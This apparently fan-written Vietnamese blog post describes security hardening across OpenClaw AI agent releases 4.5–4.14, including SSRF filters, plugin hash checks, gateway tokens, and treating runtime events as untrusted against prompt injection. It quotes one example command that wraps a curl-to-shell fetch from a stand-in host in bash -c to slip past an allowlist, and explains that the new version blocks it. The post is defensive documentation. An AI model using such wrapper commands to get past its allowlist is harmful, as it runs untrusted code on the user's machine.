Đây là trang fan, không liên kết với dự án OpenClaw chính thức hay Anthropic. github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14: cuộc vây hãm thứ hai — mười ngày làm security mà chắc bạn không để ý

OpenClaws.io Team

OpenClaws.io Team

@openclaws

April 14, 2026

10 phút đọc

OpenClaw 4.5–4.14: cuộc vây hãm thứ hai — mười ngày làm security mà chắc bạn không để ý

Phần lớn những gì đi ra trong đợt release này không hiện lên được trong một screenshot. Mười ngày, tám bản release, và phần lớn diff nằm ở những chỗ bạn không bao giờ nhìn tới trừ khi có chuyện — plugin loader, resolver URL của tool browser, các endpoint config của gateway, các bảng allowlist, manifest phụ thuộc. Công việc security theo thiết kế là yên lặng. Bài này là phiên bản dài của cái yên lặng đó.

Nếu bạn chạy OpenClaw trên cái laptop cũng đang giữ SSH key, password manager, tờ khai thuế chưa xong, và một cái browser đang đăng nhập vào đủ thứ — đọc tiếp đi. Đây là cụm release đã thay đổi cái mà con tôm hùm được phép chạm vào.

Plugin giờ verify, không chỉ download

Trước 4.7, việc cài một plugin từ registry làm đúng như bạn mong đợi: kéo archive về, giải nén, chạy. Bản thân registry được tin; archive không bị kiểm tra lại. Nếu CDN của registry có lúc bị thay giữa đường, hoặc một cái mirror bị đầu độc, hoặc có ai chen vào ở đầu bờ, con tôm hùm sẽ vui vẻ cài bất cứ cái gì chui về.

4.7 đóng cửa đó lại. Mỗi plugin archive giờ được ghim vào một hash SHA-256 lúc publish, và installer từ chối giải nén bất cứ cái gì có byte không khớp. Nếu bạn viết plugin, flow openclaw plugin publish giờ tự động viết hash vào manifest — bạn không phải làm gì. Nếu bạn cài plugin, dấu hiệu đầu tiên cho biết có chuyện không ổn là một thông báo lỗi sạch sẽ, thay vì một lần cài âm thầm.

Bản tiếp theo ở 4.9 mở rộng cùng bước verify đó sang việc update plugin — bước này trước đây lặng lẽ bỏ qua check, với lý do là bản cũ đã qua được rồi. Đó chính xác là loại giả định mà kẻ tấn công tìm kiếm. Giờ giả định đó không còn.

Filter SSRF của tool browser, ba lần liền

Tool browser cho phép con tôm hùm kéo các trang, đi theo link, chạy một ít JavaScript, và mang về những gì thấy được. Nó là một trong những công cụ hữu ích nhất trong cả sản phẩm và cũng là một trong những công cụ nguy hiểm nhất — bất cứ cái gì đi lấy URL thay cho một LLM đều có thể bị dỗ để đi lấy sai URL. Server-Side Request Forgery (SSRF) là tên lịch sự của kiểu hỏng này.

Trong mười ngày này, filter SSRF bị viết lại ba lần.

4.7 siết check allowlist host cho chạy sau khi DNS resolve, chứ không phải trước. Bản cũ so chuỗi hostname với allowlist, rồi mới resolve. Nghĩa là một hostname nhìn như bên ngoài nhưng resolve về 127.0.0.1 qua một record DNS bị kiểm soát có thể lẻn qua. Giờ IP đã resolve được so với denylist các dải private và loopback, và nếu nó rơi vào trong đó thì request bị từ chối, bất kể cái tên trông ra sao.

4.9 thêm cover cho IPv6. Bản trước xử lý 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, và link-local — toàn IPv4. Các mảng IPv6 tương đương (fc00::/7, fe80::/10, ::1) về lý thuyết được cover bởi fallback "không có trên allowlist", nhưng chưa bao giờ được test end-to-end. 4.9 đưa chúng lên thành các luật deny hạng nhất và thêm ma trận test.

4.10 đóng một lỗ trong việc đi theo redirect. Nếu URL đầu tiên qua được filter nhưng trả về một 302 về một IP private, redirect được đi theo mà không check lại. Giờ mỗi hop trong chuỗi redirect được filter độc lập. Tool browser sẽ đi theo redirect từ một public host sang một public host khác cả ngày; nó sẽ không đi theo redirect từ một public host sang 169.254.169.254, là địa chỉ quan trọng nếu bạn đang chạy cái này bên trong một cloud instance.

4.14 là bản sẽ gây một breaking change thực sự cho một số người. Nó tắt hẳn các URL file:// khỏi bề mặt của tool browser. Đọc file local qua tool browser là một tác dụng phụ chưa được ghi vào doc mà một ít workflow đã bắt đầu dựa vào, và việc đó bản thân nó đã sai: đọc file local thuộc về tool file, vốn có câu chuyện sandbox của riêng nó. Nếu bạn đang dùng browser.open('file://...') như một đường tắt, bạn cần chuyển sang file.read và chấp nhận bất cứ allowlist nào tool đó enforce trong setup của bạn.

Một CLI mới để audit xem con tôm hùm được phép chạy cái gì

4.10 ra openclaw exec-policy — một CLI chỉ đọc, dump ra policy thực thi shell đang có hiệu lực cho workspace hiện tại. Nó nói cho bạn, trong một màn hình, câu lệnh nào có trên allowlist, câu lệnh nào bị deny, câu lệnh nào cần xác nhận, và nguồn của từng luật là gì (config user, config workspace, plugin, hay default).

Đây là cái bạn nên chạy sau khi cài một plugin mới. Plugin có thể đăng ký shell command; phần lớn đều ổn; một số ít nới rộng những gì con tôm hùm có thể chạy. Trước 4.10 không có một bề mặt duy nhất để thấy kết quả sau khi gộp — bạn phải đọc nhiều file config và tự suy ra thứ tự ưu tiên. Giờ là một lệnh, và output đủ ổn định để pipe vào một test.

Thay đổi đi kèm ở 4.12 nhỏ hơn nhưng ác: lớp exec giờ phát hiện các cách gọi kiểu wrapper shell đang cố lén đưa câu lệnh qua mặt allowlist. Mẫu cổ điển là bash -c 'curl evil.example | sh' khi bash được cho phép còn curl thì không. Cơ chế phát hiện wrapper đánh dấu dạng -c, mở gói chuỗi lệnh bên trong, và cho chạy câu lệnh bên trong qua allowlist như thể nó được gọi trực tiếp. Nếu câu lệnh bên trong đáng lẽ bị deny, thì cái wrapper bên ngoài cũng bị deny theo.

Các endpoint config của gateway có thêm lính gác

Nếu bạn chạy OpenClaw ở chế độ gateway — chế độ nhiều client chung một instance tôm hùm — gateway phơi ra một admin API nhỏ để đọc và ghi config server. 4.7 và 4.14 siết đầu này lại.

4.7 tách config.apply (thay toàn bộ config) và config.patch (merge một update một phần). Cả hai đều có trước đó nhưng dùng chung một đường code, và ngữ nghĩa merge không được định nghĩa chặt đến mức bạn có thể xóa một admin key lồng bên trong bằng cách patch một field anh em. Việc tách đôi cho mỗi verb một validator riêng. Patch giờ là merge sâu thật sự với việc xóa rõ ràng phải dùng sentinel $delete; apply đòi một config hợp lệ đầy đủ, nếu không request bị từ chối.

4.14 thêm yêu cầu token đã được ký trên cả hai endpoint khi gateway bind vào bất cứ thứ gì khác localhost. Nếu trước đó bạn chạy gateway trên máy dev với --host 0.0.0.0 và dựa vào việc chia đoạn mạng để chặn người ngoài — giờ gateway từ chối khởi động trong cấu hình đó, trừ khi bạn cũng truyền --admin-token hoặc opt-out rõ ràng bằng --admin-insecure. Cái tên flag đó xấu là có chủ đích. Lẽ ra bạn phải gõ ra chữ "insecure" mới lấy lại được hành vi cũ.

Credential mà vô tình là dữ liệu template

4.12 fix một thứ xấu đã tồn tại lâu: cái file .env.example đi kèm với các workspace mới có chứa các API key placeholder nhìn đủ thật để ít nhất một user đã commit chúng vào một public repo, nghĩ rằng chúng là giả. Chúng đúng là giả — các giá trị đều là chuỗi zero và không hợp lệ trên bất cứ provider nào — nhưng chúng có hình dạng của credential và các linter chúng tôi kiểm tra report chúng như là leak. .env.example mới dùng các token rõ ràng là giả (REPLACE_ME_OR_I_WILL_FAIL), và flow openclaw init giờ từ chối viết một file .env chứa bất cứ giá trị sentinel nào trong số đó.

Chuyện nhỏ. Hậu quả thấp. Nhưng cost của việc fix là một buổi chiều, còn cost của việc không fix là thêm một vụ công khai nữa mà chúng tôi đáng lẽ phải đi giải thích.

Ranh giới allowlist, được siết lại trong im lặng

Xuyên qua mỗi release trong đợt này, các bảng allowlist nằm giữa con tôm hùm và thế giới bên ngoài được siết lại theo những cách nhỏ, cụ thể:

  • 4.5: thư mục output mặc định của tool music là ./generated/music, không còn là chỗ mà workspace tình cờ nghĩ "output" nằm ở đâu.
  • 4.7: nguồn import memory bị giới hạn về file://, https://, và các URL provider cụ thể. Code cũ nhận bất cứ URL scheme nào mà urllib biết parse, trong đó có một vài cái đáng ngạc nhiên.
  • 4.9: đường upload của tool video-generation không còn nhận các đường tuyệt đối ở ngoài gốc workspace.
  • 4.10: manifest plugin không còn được phép khai báo * làm pattern allowlist. Chúng phải nêu tên domain hoặc method cụ thể.
  • 4.14: client riêng của Codex provider tôn trọng một allowlist tách biệt khỏi cái thống nhất, để việc siết Codex không vô tình nới lỏng mọi thứ khác.

Không cái nào trong những thứ này tách riêng là một câu chuyện. Gộp lại, chúng dịch bán kính nổ theo hướng đúng.

Độ tin cậy của event runtime, bị hạ xuống

Một thay đổi tinh tế hơn chạy xuyên 4.7, 4.9 và 4.14: các event đến từ runtime (lời gọi tool, output của model, callback của plugin) không còn được coi là input tin cậy cho policy engine. Trước đây, một tool phát ra một event có cấu trúc có thể ảnh hưởng đến các quyết định allowlist tiếp theo thông qua dữ liệu mà nó tự kiểm soát — chính là kiểu hỏng kinh điển "prompt injection chạm vào tầng policy". Event runtime giờ phải qua một bước sanitization riêng trước khi chúng có thể ảnh hưởng đến bất cứ lần đánh giá policy nào sau đó, và policy engine coi bất cứ field nào có provenance là "runtime" như bị nhiễm, trừ khi một operator là người thực sự ghim nó lại một cách rõ ràng.

Trong thực tế, điều này nghĩa là vài workflow edge-case vốn dựa vào việc output tool của chính con tôm hùm tự thu hẹp hành vi của chính nó sẽ cần được viết lại. Cách được chủ đích để thu hẹp hành vi bây giờ là viết một luật policy, chứ không phải để một tool phát ra một gợi ý. Nếu bạn đụng vào chuyện này, CLI exec-policy từ 4.10 là công cụ chẩn đoán.

Audit phụ thuộc

4.9 và 4.14 đều chạy đầy đủ các pass cargo auditnpm audit và bump mọi phụ thuộc bắc cầu có advisory đang mở. Trong phạm vi chúng tôi thấy được, không có cái nào trong danh sách đang bị khai thác nhắm vào OpenClaw; đây là bảo trì, không phải phản ứng với sự cố. Các bump này cố tình làm cho nhàm chán.

Một bump không nhàm chán: thư viện WebSocket mà gateway dùng nhảy lên một version major ở 4.14, và cách các close frame report reason code đã thay đổi. Nếu bạn có code đang đọc event.reason trên tín hiệu ngắt kết nối socket của gateway, giờ nó là một chuỗi chứ không phải buffer. Đây là một breaking change. Nó được nêu rõ trong changelog của 4.14.

Tín hiệu mới: audit security có AI hỗ trợ

Thứ cuối cùng đáng gọi tên — 4.14 đưa vào một workflow nội bộ, trong đó một model thứ hai review các diff liên quan đến security trước khi chúng cập bờ. Nó không chặn merge; nó để lại comment. Trong đợt này, nó bắt được hai thứ mà review của con người đã cho qua: lỗ hổng IPv6 trong lần viết lại SSRF của 4.9 (đã được fix trước khi merge) và sự mơ hồ của sentinel $delete trong việc tách config.patch của 4.7 (sau đó trở thành cái validator rõ ràng, thay vì cái ngầm định).

Chúng tôi không muốn nói quá. Một model thứ hai không phải là thay thế cho một con người thứ hai. Nhưng đó là một pass thứ hai, và trong mười ngày làm security tốc độ cao, nó là cái pass bắt được hai thứ mà đáng lẽ đã đi ra ngoài. Nó được giữ lại.

Phiên bản ngắn

Nếu bạn chỉ lấy một thứ từ bài này: chạy openclaw update để lên 4.14, rồi chạy một lần openclaw exec-policy để thấy con tôm hùm thực tế có thể làm gì trên máy bạn. Nếu output làm bạn bất ngờ, siết nó lại. Toàn bộ ý nghĩa của mười ngày vừa rồi là bạn có thể.

Và nếu bạn là một trong những người đang chạy gateway trên --host 0.0.0.0 mà không có admin token — xin hãy fix chuyện đó trước khi chạy openclaw update, vì 4.14 sẽ từ chối khởi động cho tới khi bạn làm, và chúng tôi muốn bạn đọc bài này trước, hơn là đọc thông báo lỗi rồi cho rằng có gì đó đã hỏng.

Theo dõi tin mới

Nhận thông báo về tính năng mới và tích hợp. Không spam, hủy đăng ký bất cứ lúc nào.